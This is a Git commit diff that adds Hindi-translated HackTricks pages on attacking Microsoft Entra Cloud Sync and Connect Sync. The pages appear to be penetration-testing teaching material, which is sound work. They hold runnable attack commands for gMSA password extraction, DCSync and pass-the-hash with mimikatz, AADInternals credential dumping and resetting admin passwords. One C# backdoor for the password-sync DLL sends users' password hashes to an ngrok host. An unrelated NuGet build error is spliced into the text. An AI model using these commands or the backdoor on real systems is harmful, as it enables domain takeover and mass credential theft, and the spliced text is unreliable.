mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 06:03:26 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
@@ -0,0 +1,151 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Cloud Sync** मूल रूप से Azure का नया तरीका है **AD से Entra ID में उपयोगकर्ताओं को समन्वयित करने के लिए**।
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync Microsoft द्वारा एक नई पेशकश है जो उपयोगकर्ताओं, समूहों और संपर्कों को Microsoft Entra ID में समन्वयित करने के लिए आपके हाइब्रिड पहचान लक्ष्यों को पूरा करने और हासिल करने के लिए डिज़ाइन की गई है। यह Microsoft Entra Connect एप्लिकेशन के बजाय Microsoft Entra क्लाउड प्रोविजनिंग एजेंट का उपयोग करके इसे पूरा करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी उपयोग किया जा सकता है।
|
||||
|
||||
### Principals Generated
|
||||
|
||||
इसका काम करने के लिए कुछ प्रिंसिपल Entra ID और On-Premise डायरेक्टरी में बनाए जाते हैं:
|
||||
|
||||
- Entra ID में उपयोगकर्ता `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) को **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) भूमिका के साथ बनाया जाता है।
|
||||
|
||||
> [!WARNING]
|
||||
> इस भूमिका के पास पहले बहुत सारे विशेषाधिकार थे और इसका उपयोग [**विशेषाधिकारों को वैश्विक व्यवस्थापक तक बढ़ाने के लिए किया जा सकता था**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)। हालाँकि, Microsoft ने इस भूमिका के सभी विशेषाधिकारों को हटाने और इसे केवल एक नए **`microsoft.directory/onPremisesSynchronization/standard/read`** के साथ असाइन करने का निर्णय लिया है, जो वास्तव में किसी भी विशेषाधिकार कार्रवाई (जैसे उपयोगकर्ता का पासवर्ड या विशेषताओं को संशोधित करना या SP में एक नई क्रेडेंशियल जोड़ना) करने की अनुमति नहीं देता है।
|
||||
|
||||
- Entra ID में समूह **`AAD DC Administrators`** भी बिना सदस्यों या मालिकों के बनाया जाता है। यह समूह उपयोगी है यदि [`Microsoft Entra Domain Services`](./az-domain-services.md) का उपयोग किया जाता है।
|
||||
|
||||
- AD में, या तो सेवा खाता **`provAgentgMSA`** को **`pGMSA_<id>$@domain.com`** जैसे SamAcountName के साथ बनाया जाता है (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), या एक कस्टम खाता [**इन अनुमतियों की आवश्यकता है**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account)। आमतौर पर डिफ़ॉल्ट खाता बनाया जाता है।
|
||||
|
||||
> [!WARNING]
|
||||
> अन्य अनुमतियों के बीच सेवा खाता **`provAgentgMSA`** के पास DCSync अनुमतियाँ हैं, जो **किसी भी व्यक्ति को जो इसे समझौता करता है, पूरे डायरेक्टरी को समझौता करने की अनुमति देती हैं**। [DCSync के बारे में अधिक जानकारी के लिए इसे देखें](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html)।
|
||||
|
||||
> [!NOTE]
|
||||
> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों के उपयोगकर्ता जैसे डोमेन व्यवस्थापक जिनका विशेषता **`adminCount` 1 है, Entra ID के साथ समन्वयित नहीं होते** सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं **समन्वयित किए जा सकते हैं**।
|
||||
|
||||
## Password Sychronization
|
||||
|
||||
यह अनुभाग बहुत समान है:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **पासवर्ड हैश समन्वयन** सक्षम किया जा सकता है ताकि उपयोगकर्ता **AD से अपने पासवर्ड का उपयोग करके Entra ID में लॉगिन कर सकें**। इसके अलावा, जब भी AD में पासवर्ड संशोधित किया जाता है, यह Entra ID में अपडेट हो जाएगा।
|
||||
- **पासवर्ड राइटबैक** को भी सक्षम किया जा सकता है, जिससे उपयोगकर्ता अपने पासवर्ड को Entra ID में संशोधित कर सकते हैं, जो स्वचालित रूप से उनके पासवर्ड को ऑन-प्रिमाइस डोमेन में समन्वयित करता है। लेकिन [वर्तमान दस्तावेज़ों](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback) के अनुसार, इसके लिए Connect Agent का उपयोग करना आवश्यक है, इसलिए अधिक जानकारी के लिए [Az Connect Sync अनुभाग](./az-connect-sync.md) पर नज़र डालें।
|
||||
- **समूह राइटबैक**: यह सुविधा Entra ID से समूह सदस्यताओं को ऑन-प्रिमाइस AD में वापस समन्वयित करने की अनुमति देती है। इसका मतलब है कि यदि किसी उपयोगकर्ता को Entra ID में एक समूह में जोड़ा जाता है, तो उन्हें AD में संबंधित समूह में भी जोड़ा जाएगा।
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- यदि AD उपयोगकर्ताओं को AD से Entra ID में समन्वयित किया जा रहा है, तो AD से Entra ID में पिवट करना सीधा है, बस **किसी उपयोगकर्ता का पासवर्ड समझौता करें या किसी उपयोगकर्ता का पासवर्ड बदलें या एक नया उपयोगकर्ता बनाएं और जब तक यह Entra ID डायरेक्टरी में समन्वयित नहीं हो जाता (आमतौर पर केवल कुछ मिनट)**।
|
||||
|
||||
तो आप उदाहरण के लिए
|
||||
- **`provAgentgMSA`** खाता समझौता करें, DCSync हमला करें, किसी उपयोगकर्ता का पासवर्ड क्रैक करें और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- बस AD में एक नया उपयोगकर्ता बनाएं, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
- AD में किसी उपयोगकर्ता का पासवर्ड संशोधित करें, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
|
||||
|
||||
**`provAgentgMSA`** क्रेडेंशियल्स को समझौता करने के लिए:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
# Find who can read the password of the gMSA (usually only the DC computer account)
|
||||
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
|
||||
|
||||
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
|
||||
lsadump::dcsync /domain:domain.local /user:<dc-name>$
|
||||
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
|
||||
|
||||
# Or you can change who can read the password of the gMSA account to all domain admins for example:
|
||||
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
|
||||
|
||||
# Read the password of the gMSA
|
||||
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
|
||||
|
||||
#Install-Module -Name DSInternals
|
||||
#Import-Module DSInternals
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
अब आप gMSA के हैश का उपयोग करके `provAgentgMSA` खाते के खिलाफ Entra ID पर Pass-the-Hash हमले को अंजाम दे सकते हैं और DCSync हमलों को करने के लिए स्थिरता बनाए रख सकते हैं।
|
||||
|
||||
Active Directory को समझौता करने के तरीके के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि Azure या EntraID भूमिकाएँ सिंक किए गए उपयोगकर्ताओं को उनके गुणों के आधार पर देने का कोई तरीका नहीं है, उदाहरण के लिए Cloud Sync कॉन्फ़िगरेशन में। हालाँकि, सिंक किए गए उपयोगकर्ताओं को स्वचालित रूप से अनुमतियाँ देने के लिए कुछ **AD से Entra ID समूहों** को अनुमतियाँ दी जा सकती हैं ताकि उन समूहों के अंदर सिंक किए गए उपयोगकर्ताओं को भी उन्हें प्राप्त हो सके या **गतिशील समूहों का उपयोग किया जा सकता है**, इसलिए हमेशा गतिशील नियमों और उन्हें दुरुपयोग करने के संभावित तरीकों की जांच करें:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
स्थिरता के संबंध में [यह ब्लॉग पोस्ट](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) सुझाव देती है कि [**dnSpy**](https://github.com/dnSpy/dnSpy) का उपयोग करके **`Microsoft.Online.Passwordsynchronisation.dll`** में बैकडोर डालना संभव है जो **`C:\Program Files\Microsoft Azure AD Sync\Bin`** में स्थित है और जिसका उपयोग Cloud Sync एजेंट द्वारा पासवर्ड सिंक्रनाइज़ेशन करने के लिए किया जाता है, जिससे यह उपयोगकर्ताओं के पासवर्ड हैश को एक दूरस्थ सर्वर पर एक्सफिल्ट्रेट करता है। हैश **`PasswordHashGenerator`** क्लास के अंदर उत्पन्न होते हैं और ब्लॉग पोस्ट सुझाव देता है कि कुछ कोड जोड़ा जाए ताकि क्लास इस तरह दिखे (ध्यान दें `use System.Net` और पासवर्ड हैश को एक्सफिल्ट्रेट करने के लिए `WebClient` का उपयोग):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- यदि **Password Writeback** सक्षम है, तो आप Entra ID से कुछ उपयोगकर्ताओं का पासवर्ड संशोधित कर सकते हैं और यदि आपके पास AD नेटवर्क तक पहुंच है, तो उनके माध्यम से कनेक्ट करें। अधिक जानकारी के लिए [Az Connect Sync section](./az-connect-sync.md) अनुभाग देखें क्योंकि पासवर्ड राइटबैक उस एजेंट का उपयोग करके कॉन्फ़िगर किया गया है।
|
||||
|
||||
- इस समय Cloud Sync भी **"Microsoft Entra ID to AD"** की अनुमति देता है, लेकिन बहुत समय बाद मैंने पाया कि यह EntraID उपयोगकर्ताओं को AD में समन्वयित नहीं कर सकता और यह केवल उन EntraID उपयोगकर्ताओं को समन्वयित कर सकता है जो पासवर्ड हैश के साथ समन्वयित किए गए थे और उसी डोमेन वन के डोमेन से आते हैं जिसमें हम समन्वयित कर रहे हैं, जैसा कि आप पढ़ सकते हैं [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - ये समूह केवल ऑन-प्रिमाइसेस समन्वयित उपयोगकर्ताओं और / या अतिरिक्त क्लाउड द्वारा बनाए गए सुरक्षा समूहों को शामिल कर सकते हैं।
|
||||
> - ऑन-प्रिमाइसेस उपयोगकर्ता खाते जो समन्वयित हैं और इस क्लाउड द्वारा बनाए गए सुरक्षा समूह के सदस्य हैं, वे उसी डोमेन या क्रॉस-डोमेन से हो सकते हैं, लेकिन सभी को एक ही वन से होना चाहिए।
|
||||
|
||||
इसलिए इस सेवा की हमले की सतह (और उपयोगिता) काफी कम हो जाती है क्योंकि एक हमलावर को उन उपयोगकर्ताओं को समन्वयित करने के लिए प्रारंभिक AD से समझौता करना होगा ताकि दूसरे डोमेन में एक उपयोगकर्ता से समझौता किया जा सके (और दोनों को स्पष्ट रूप से एक ही वन में होना चाहिए)।
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,202 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) Microsoft Entra Connect का एक मुख्य घटक है। यह आपके ऑन-प्रिमाइसेस वातावरण और Microsoft Entra ID के बीच पहचान डेटा को समन्वयित करने से संबंधित सभी संचालन का ध्यान रखता है।
|
||||
|
||||
इसे उपयोग करने के लिए, आपके AD वातावरण के अंदर एक सर्वर में **`Microsoft Entra Connect Sync`** एजेंट स्थापित करना आवश्यक है। यह एजेंट AD पक्ष से समन्वय का ध्यान रखेगा।
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** मूल रूप से **AD से Entra ID में उपयोगकर्ताओं को समन्वयित करने का "पुराना" Azure तरीका है।** नया अनुशंसित तरीका **Entra Cloud Sync** का उपयोग करना है:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Principals Generated
|
||||
|
||||
- खाता **`MSOL_<installationID>`** स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को **Directory Synchronization Accounts** भूमिका दी जाती है (देखें [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ** हैं।
|
||||
- इसका मतलब है कि जो कोई भी इस खाते से समझौता करता है वह ऑन-प्रिमिस डोमेन से समझौता कर सकेगा।
|
||||
- एक प्रबंधित सेवा खाता **`ADSyncMSA<id>`** बिना किसी विशेष डिफ़ॉल्ट विशेषाधिकार के ऑन-प्रिम AD में बनाया जाता है।
|
||||
- Entra ID में सेवा प्रिंसिपल **`ConnectSyncProvisioning_ConnectSync_<id>`** एक प्रमाणपत्र के साथ बनाया जाता है।
|
||||
|
||||
## Synchronize Passwords
|
||||
|
||||
### Password Hash Synchronization
|
||||
|
||||
यह घटक **AD से Entra ID में पासवर्ड को समन्वयित करने के लिए** भी उपयोग किया जा सकता है ताकि उपयोगकर्ता अपने AD पासवर्ड का उपयोग Entra ID से कनेक्ट करने के लिए कर सकें। इसके लिए, AD सर्वर में स्थापित Microsoft Entra Connect Sync एजेंट में पासवर्ड हैश समन्वयन की अनुमति देना आवश्यक है।
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** हाइब्रिड पहचान को पूरा करने के लिए उपयोग किए जाने वाले साइन-इन तरीकों में से एक है। **Azure AD Connect** एक ऑन-प्रिमिस Active Directory उदाहरण से एक क्लाउड-आधारित Azure AD उदाहरण में उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश समन्वयित करता है।
|
||||
|
||||
मूल रूप से, सभी **उपयोगकर्ता** और **पासवर्ड हैश का हैश** ऑन-प्रिम से Azure AD में समन्वयित होते हैं। हालाँकि, **स्पष्ट-पाठ पासवर्ड** या **मूल** **हैश** Azure AD को नहीं भेजे जाते हैं।
|
||||
|
||||
**हैश समन्वयन** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं** होते हैं। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) वह पुराने पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है।
|
||||
|
||||
जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो **प्रमाणीकरण Azure AD पर होता है**।
|
||||
|
||||
> [!NOTE]
|
||||
> डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों के उपयोगकर्ता जैसे डोमेन प्रशासक जिनका विशेषता **`adminCount` 1 है, Entra ID के साथ समन्वयित नहीं होते** सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं, **समन्वयित किए जा सकते हैं**।
|
||||
|
||||
### Password Writeback
|
||||
|
||||
यह कॉन्फ़िगरेशन **Entra ID से AD में पासवर्ड को समन्वयित करने** की अनुमति देता है जब एक उपयोगकर्ता Entra ID में अपना पासवर्ड बदलता है। ध्यान दें कि पासवर्ड राइटबैक कार्य करने के लिए AD में स्वचालित रूप से उत्पन्न `MSOL_<id>` उपयोगकर्ता को [दस्तावेज़ में निर्दिष्ट अधिक विशेषाधिकार दिए जाने की आवश्यकता है](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) ताकि वह **AD में किसी भी उपयोगकर्ता के पासवर्ड को संशोधित कर सके**।
|
||||
|
||||
यह विशेष रूप से एक समझौता किए गए Entra ID से AD को समझौता करने के लिए दिलचस्प है क्योंकि आप "लगभग" किसी भी उपयोगकर्ता का पासवर्ड बदलने में सक्षम होंगे।
|
||||
|
||||
डोमेन प्रशासक और कुछ विशेषाधिकार समूहों से संबंधित अन्य उपयोगकर्ता पुनरुत्पादित नहीं होते यदि समूह में **`adminCount` विशेषता 1 है**। लेकिन अन्य उपयोगकर्ता जो AD के अंदर उच्च विशेषाधिकार सौंपे गए हैं बिना किसी ऐसे समूह का हिस्सा बने, उनके पासवर्ड को बदला जा सकता है। उदाहरण के लिए:
|
||||
|
||||
- सीधे उच्च विशेषाधिकार वाले उपयोगकर्ता।
|
||||
- **`DNSAdmins`** समूह के उपयोगकर्ता।
|
||||
- **`Group Policy Creator Owners`** समूह के उपयोगकर्ता जिन्होंने GPO बनाए हैं और उन्हें OUs पर सौंपा है, वे अपने द्वारा बनाए गए GPO को संशोधित करने में सक्षम होंगे।
|
||||
- **`Cert Publishers Group`** के उपयोगकर्ता जो Active Directory में प्रमाणपत्र प्रकाशित कर सकते हैं।
|
||||
- किसी अन्य समूह के उपयोगकर्ता जिनके पास **`adminCount` विशेषता 1 नहीं है**।
|
||||
|
||||
## Pivoting AD --> Entra ID
|
||||
|
||||
### Enumerating Connect Sync
|
||||
|
||||
Check for users:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
**Connect Sync कॉन्फ़िगरेशन** की जांच करें (यदि कोई हो):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### पासवर्ड ढूंढना
|
||||
|
||||
**`MSOL_*`** उपयोगकर्ता (और यदि बनाया गया हो तो **Sync\_\*** उपयोगकर्ता) के पासवर्ड **SQL सर्वर में** संग्रहीत होते हैं जहाँ **Entra ID Connect स्थापित है।** व्यवस्थापक उन विशेषाधिकार प्राप्त उपयोगकर्ताओं के पासवर्ड को स्पष्ट पाठ में निकाल सकते हैं।\
|
||||
डेटाबेस `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` में स्थित है।
|
||||
|
||||
एक टेबल से कॉन्फ़िगरेशन निकालना संभव है, जिसमें एक एन्क्रिप्टेड है:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्ट किया गया है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रेम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना होती है।
|
||||
|
||||
आप [इन क्रेडेंशियल्स को कैसे संग्रहीत और डिक्रिप्ट किया जाता है, इसका पूरा अवलोकन इस वार्ता में पा सकते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### MSOL\_\* का दुरुपयोग
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
Get-AADIntSyncCredentials
|
||||
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
|
||||
|
||||
# Using https://github.com/dirkjanm/adconnectdump
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
|
||||
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> पिछले हमलों ने अन्य पासवर्ड को समझौता किया ताकि `Sync_*` नाम के Entra ID उपयोगकर्ता से कनेक्ट किया जा सके और फिर Entra ID को समझौता किया जा सके। हालांकि, यह उपयोगकर्ता अब मौजूद नहीं है।
|
||||
|
||||
### Abusing ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
यह एप्लिकेशन बिना किसी Entra ID या Azure प्रबंधन भूमिकाओं के असाइन किए बिना बनाया गया है। हालांकि, इसमें निम्नलिखित API अनुमतियाँ हैं:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Microsoft पासवर्ड रीसेट सेवा
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
यह उल्लेख किया गया है कि इस एप्लिकेशन का SP अभी भी एक undocumented API का उपयोग करके कुछ विशेषाधिकार प्राप्त क्रियाएँ करने के लिए उपयोग किया जा सकता है, लेकिन अभी तक कोई PoC नहीं मिला है।\
|
||||
किसी भी मामले में, यह सोचते हुए कि यह संभव हो सकता है, यह और अधिक खोजने में दिलचस्पी होगी कि इस सेवा प्रिंसिपल के रूप में लॉगिन करने के लिए प्रमाणपत्र कैसे खोजें और इसका दुरुपयोग करने का प्रयास करें।
|
||||
|
||||
यह [ब्लॉग पोस्ट](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) `Sync_*` उपयोगकर्ता से इस सेवा प्रिंसिपल में परिवर्तन से पहले जल्द ही जारी किया गया, जिसमें बताया गया कि प्रमाणपत्र सर्वर के अंदर संग्रहीत था और इसे खोजना, इसका PoP (Proof of Possession) उत्पन्न करना और ग्राफ़ टोकन प्राप्त करना संभव था, और इसके साथ, सेवा प्रिंसिपल में एक नया प्रमाणपत्र जोड़ने में सक्षम होना (क्योंकि एक **सेवा प्रिंसिपल** हमेशा अपने लिए नए प्रमाणपत्र असाइन कर सकता है) और फिर इसे SP के रूप में स्थिरता बनाए रखने के लिए उपयोग करना।
|
||||
|
||||
इन क्रियाओं को करने के लिए, निम्नलिखित उपकरण प्रकाशित किए गए हैं: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)।
|
||||
|
||||
मेरे अनुभव में, प्रमाणपत्र अब उस स्थान पर संग्रहीत नहीं है जहाँ पिछले उपकरण ने इसे खोजने की कोशिश की थी, और इसलिए, उपकरण अब काम नहीं करता है। इसलिए आगे की खोज की आवश्यकता हो सकती है।
|
||||
|
||||
### Abusing Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> पहले एक उपयोगकर्ता `Sync_*` नाम से Entra ID में बहुत संवेदनशील अनुमतियों के साथ बनाया गया था, जिसने किसी भी उपयोगकर्ता का पासवर्ड संशोधित करने या सेवा प्रिंसिपल में एक नया क्रेडेंशियल जोड़ने जैसी विशेषाधिकार प्राप्त क्रियाएँ करने की अनुमति दी। हालांकि, जनवरी 2025 से यह उपयोगकर्ता अब डिफ़ॉल्ट रूप से नहीं बनाया जाता है क्योंकि अब एप्लिकेशन/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** का उपयोग किया जाता है। हालांकि, यह अभी भी कुछ वातावरण में मौजूद हो सकता है, इसलिए इसकी जांच करना उचित है।
|
||||
|
||||
**`Sync_*`** खाते को समझौता करना किसी भी उपयोगकर्ता (जिसमें Global Administrators शामिल हैं) का **पासवर्ड रीसेट** करना संभव बनाता है।
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
यह भी संभव है कि केवल **क्लाउड** उपयोगकर्ताओं के पासवर्ड को संशोधित किया जाए (भले ही यह अप्रत्याशित हो)।
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
